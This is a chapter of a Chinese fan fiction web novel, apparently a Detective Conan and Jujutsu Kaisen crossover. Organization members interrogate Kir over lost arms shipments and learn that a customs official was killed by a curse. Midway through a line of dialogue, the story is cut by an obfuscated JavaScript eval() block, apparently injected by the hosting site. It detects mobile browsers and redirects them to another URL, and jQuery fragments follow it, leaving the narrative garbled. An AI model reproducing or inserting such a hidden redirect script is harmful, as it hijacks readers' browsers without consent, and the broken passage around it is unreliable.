3. 一起较为寻常的事件

作品:《一统咒术界的柯学路径

    断笳/003


    凌晨零点,海港仓库。


    他在黑暗和寂静中待了很久,双手被绑在身后,低着头,耐心而谨慎地盯着地面上的一块污渍;


    他许久没有进食,身体机能不足,在大脑的眩晕里,尽量控制着读秒的误差。


    四周的黑暗里,有数十个荷枪实弹的组织成员。他们每隔五小时轮换一次,此时或许已至深夜,看守的组织成员控制不了自己的生物钟本能,靠在货架上打着盹。


    这是他待在这里的第十九个小时。


    当他于黑暗里,默读到六万八千多秒,也就是第二十个小时时,仓库大门打开了。


    “刺啦”裸露的钨丝大灯亮起,黑衣组织的普通成员骤然惊醒,挺直了肩背,握着抢的手发力紧绷。


    基尔的头垂得更低。


    一个男人,缓步向他走来。


    琴酒的黑色大衣出现在视野里,径直越过他,停在了货箱前方。


    黄铜打火机盖开合之间,一支烟被点燃。


    第二个进来的是个女人,一双蓝色高跟鞋经过,线条优美的小腿在基尔的视野极限里,拉出一道侬白的影子。


    琴酒:“你来做什么?”


    “哎呀,我忙着美国的工作,有四个多月没见到小暮了。”


    “听说小暮也要来,那我也凑个热闹。”女人轻声笑着,“更何况,这件事多有意思啊。”


    是贝尔摩德。


    随后进来的是前来复命的基安蒂。


    基安蒂站在基尔身后,简单地与琴酒交谈后,便闭口不言。


    基尔能够感觉到,基安蒂的目光一直黏在自己身上。


    仓库一时寂静无声。


    再次默数四千多秒。


    大门“吱呀”一声响起,一个年轻不着调的声音从那一线霓光里钻了进来。


    “大家晚上好呀。”


    琴酒黑色的大衣衣摆动了一下,半截烟掉在地上,猩红的火光被黑色皮鞋被踩灭。


    “莫斯卡托,波本,你们让这里的人好等。”贝尔摩德声音里含着笑意,抱怨又嗔怪的语气。


    “贝尔摩德!你也在!太好了,我好想你啊。”


    一双裸色的高跟鞋,以及鱼尾一样轻盈的珍珠色裙摆,避着地面黏腻的污渍,晃晃悠悠地走向了琴酒所在的位置。


    基安蒂嫌恶地“啧”了一声,为那人让开了路。


    高跟鞋的主人,恶意地撞过基安蒂的肩膀,跳上了货箱。


    基尔喉头滚动,想要仰起头,头颈刚有动作,便被抵在脑后的枪口压了下去。


    抬眼迅速瞥到的画面里,是骨骼清瘦的小腿。莫斯卡托裙摆蹭起到膝盖位置,一双晃荡的小腿紧贴着琴酒的大衣衣摆。


    “这是怎么了?”莫斯卡托的声音震荡在空气里。


    “基尔。”琴酒惜字如金,“二十五个小时之前,组织的一批军火被弄丢了。”


    “失窃的军火,是半年前运作的那批?”


    琴酒默认。


    贝尔摩德打了个响指,“价值十亿美金的那批。”


    “糟糕。那里面有我等了好久的FNP90,最新的枪型,特别帅。”


    莫斯卡托的声音有些苦恼,“把头抬起来吧。”


    脑袋后的枪立马松了力道。基尔抬起了头。


    汗珠滑进眼珠里,炽白的灯光晕得他眼前模糊一片。基尔费力地眨了眨眼睛,先是看到了琴酒如同豺狼的绿眼珠,然后一转视线,看到了紧挨着琴酒坐着的莫斯卡托。


    和传闻中一样,莫斯卡托还是个少女。她像是在哪里滚过一圈,头发被风吹得很乱,珠宝不着调地挂在年轻的肌骨上,将这座废弃仓库衬得熠熠生辉。


    她双手撑在货箱上,那双同样年轻张扬的眼睛瞥了基尔一眼,像是对他那张中年人的脸感到乏味,很快便移开了视线,说:


    “说回那批军火,巴西和夏威夷的海关,是由我亲自负责的。从南美到夏威夷,不会有纰漏。”


    “至于海运到日本,那就更简单了。这里是我们的地盘。所以,是哪个环节出了问题?”


    贝尔摩德:“巴西、夏威夷,这两道关卡都没有问题。两天前,货物也顺利进入了日本海关。”


    “然而,就在货物通过海关检查不到半小时,货车已经驶上了大阪海大桥,警察却带着口头命令追了上来,打算重新盘查。”


    莫斯卡托饶有兴致地重复:“口头命令……”


    她停顿几秒,“那么,为什么已经过了二十五个小时,才把我们……”


    基尔迎着莫斯卡托居高临下的目光。


    “才把基尔,以及代号成员聚集到这里来?”


    “好问题。”贝尔摩德回:“负责运送的人,如你所见,已经跪在了这里。”


    她继续说:“据基尔所说,警察检查得很仔细,我们用来掩盖的鱼油、丝织品……被一箱一箱搬了出来,马上就要发现藏在最里面的军火时,基尔和警察发生了冲突。”


    “装载军火的三辆货车,就这样随着大范围爆炸,翻下了高架桥。现在大阪海已经紧急戒严了。”


    “所以,叫我过来,是为什么呢?”她在发问,却已经将戏谑的目光投在了基尔身上。


    贝尔摩德轻笑着回,“有人怀疑,你负责的通关文件有问题。”


    莫斯卡托帮组织拿到那批价值十亿的军火是大约半年前的事情。组织效率惊人,这批军火在暗处马不停蹄地筹备、存储、装运,从墨西哥到美国本土,从美国本土到夏威夷,再由夏威夷中转偷渡到日本,前后只过了半年。


    组织各有分工。莫斯卡托的任务,就是拿下订单,以及准备国际偷渡的前置事项。


    打通海关文件,便是莫斯卡托负责的部分。


    贝尔摩德笑着,“基尔回到组织认罪,就是这么说的。”


    “哦……是这样啊。”莫斯卡托拉长了调子,对跪在地上的基尔露出了一个恶意的微笑,“


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16658603|188338||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    他说谎。”


    跪在地上的基尔,或者说是伊森·本堂,本来已经做好了牺牲的准备。但莫斯卡托那个微笑,还是让他不寒而栗。


    她眉眼挑起,锋锐得像被水流打磨的砾石,一种天真但恶劣笑容在脸上浮现。


    “真有意思。”莫斯卡托的语调里带着孩童式的调笑,“不管你藏着什么秘密,为什么回到组织,我会试着弄明白的,基尔。”


    “基尔不可能说谎!他任务失败了,但独自一人销毁了所有组织的痕迹,然后回到组织认罪。”


    一直默不作声的基安蒂突然开口:“如果他背叛了我们,他可以逃得远远的,不会主动出现在这里。”


    “哎呀基安蒂,你在思考!”莫斯卡托坐在高处为她鼓掌,语调压得很平,“但思考到这个地步就可以停了,别浪费脑细胞了,毕竟你只有十个。”


    “你个混蛋——”


    “谢谢夸奖,你可以闭嘴了。”莫斯卡托转头对沉默的琴酒说:“把他交给我?给我两天?如果你还有一点良心的话,给我五天。”


    “不。”


    琴酒锐利的绿色眼睛转向莫斯卡同。


    莫斯卡托喜悦地、庆幸地呼出一口气:“太好了,我的假期……”


    “你去查另一件事。”


    莫斯卡托还没呼出去的那口气卡在嗓子里,如临大敌地看着琴酒——


    “基尔的事我另有安排。你去查另一件事。别想偷懒,泽川。”


    之前说过,基尔让组织损失了价值十亿的军火这件事,已经盖棺定论。


    但除了这桩事之外,政府那边的反应简直是疑点重重。


    正如莫斯卡托怀疑的那样——“为什么要重新盘查?是谁的口头命令?”


    “boss忌惮的就在这里。”贝尔摩德说,“发布追查命令的是海关总务,因为时间仓促,只来得及口头下达。海关总务那么着急重新盘查我们的货物,是因为——就在我们的货物通过海关的半小时内,替我们伪造通关文件的那个官员被发现很凄惨地死在办公室里,死前手里攥着我们的文件备份。”


    那个帮组织伪造通关文件的官员,追根溯源,是莫斯卡托发展的卧底。


    这才是她被叫来这儿的真正原因。


    “死了?”莫斯卡托盯着头顶上方的蛛网十几秒,头顶的尘埃在蛛网上震荡。


    她的语速因为疑惑变得缓慢,“他杀?是敌对组织?还是政府那边发现了什么?”


    在场所有人,除了琴酒,就是莫斯卡托的权职最高。


    所以在她自言自语着思索时,所有人都静默着。


    不——泽川暮心里萦绕着另一个疑问:那个人她用了五年,她把他的身份隐藏得很好,从来都没有出过问题。


    “是谁发现、甚至谋杀了他?”莫斯卡托问。


    “是不可能找到凶手的非自然死亡。”贝尔摩德的声音将所有人的思绪拉回现实。


    “他的死因是咒杀。”